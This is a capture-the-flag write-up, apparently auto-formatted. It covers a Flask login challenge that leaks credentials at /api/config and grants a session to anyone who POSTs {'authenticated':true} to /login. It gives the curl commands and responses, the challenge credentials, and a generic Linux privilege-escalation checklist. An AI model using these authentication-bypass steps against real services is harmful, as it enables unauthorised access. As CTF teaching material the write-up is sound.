Super Secure Server

Platform: Broncoctf2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: client_side_auth_bypass, client_side_js_review, exposed_config_endpoint, session_cookie_reuse

Summary

Task: Flask login API that performs all authentication on the client side. Solution: read /api/config to leak the credentials, then bypass auth entirely by POSTing {"authenticated":true} to /login (server trusts the client-asserted flag) and reuse the session cookie on /flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: broncoctf2026 | ID: 20260711_broncoctf2026_super_secure_server
• Tags: flask, information_disclosure, broken_access_control, client_side_auth, exposed_config
• Indicators: /api/config returns username+password, client-side credential comparison in inline JS, /login accepts {"authenticated":true}, Werkzeug/3.1.8 Python/3.14.6
• Source: 20260711_broncoctf2026_super_secure_server.md

Foothold

Vulnerability / Misconfiguration

1. Client_side_auth_bypass
2. Client_side_js_review
3. Exposed_config_endpoint
4. Session_cookie_reuse

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• client_side_auth_bypass
• client_side_js_review
• exposed_config_endpoint
• session_cookie_reuse
• Tags: flask, information_disclosure, broken_access_control, client_side_auth, exposed_config

Original Writeup

<details><summary>Click to expand original content</summary>

Super Secure Server — broncoctf2026

Description

I just finished developing my very first API to handle secure logins to my very own website! To keep things extra secure, I won't even tell you my username, so now there's really no way you can hack me!

A Flask login page (Server header Werkzeug/3.1.8 Python/3.14.6) where all authentication logic lives in client-side JavaScript. Two fatal flaws let us authenticate without knowing (or even needing) any credentials.

Analysis

GET / returns an HTML login form plus inline JavaScript that:

1. Fetches /api/config and stores data.username / data.password.
2. On submit, compares the typed username/password to the leaked values client-side (if (u === leakedUser && p === leakedPass)).
3. If they match, sends POST /login with JSON body { "authenticated": true } and follows data.redirect on success.

Inline JS excerpt:

fetch('/api/config').then(res=>res.json()).then(data=>{
  leakedUser = data.username;
  leakedPass = data.password;
  ...
  if (u === leakedUser && p === leakedPass) {
    fetch('/login', { method:'POST', headers:{'Content-Type':'application/json'},
      body: JSON.stringify({ authenticated: true }) })
    .then(res=>res.json()).then(data=>{ if(data.success) window.location.href = data.redirect; })
  }
});

Two flaws:

• Flaw #1 — credential exposure via /api/config. The endpoint hands the real username and password to any client, defeating the "I won't tell you my username" premise.
• Flaw #2 — broken server-side authentication. /login never verifies the credentials; it only checks that the JSON body asserts authenticated: true. The client-side comparison is decorative — the server trusts whatever the client says.

Solution

Step 1 — Leak the credentials (Flaw #1)

curl -s https://broncoctf-super-secure-server.chals.io/api/config

{"password":"rji32orj932r3209r233sqmet4v2cxbns8","username":"SuperSecretUser"}

Step 2 — Bypass auth entirely (Flaw #2)

Skip the client-side comparison and directly assert authentication. This issues a session cookie:

curl -sk -c cookies.txt -H 'Content-Type: application/json' \
     -d '{"authenticated":true}' \
     https://broncoctf-super-secure-server.chals.io/login

{"redirect":"/flag","success":true}

Step 3 — Retrieve the flag

curl -sk -b cookies.txt https://broncoctf-super-secure-server.chals.io/flag

The page renders Welcome back, SuperSecretUser! and:

Here is your flag: bronco{REDACTED}

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR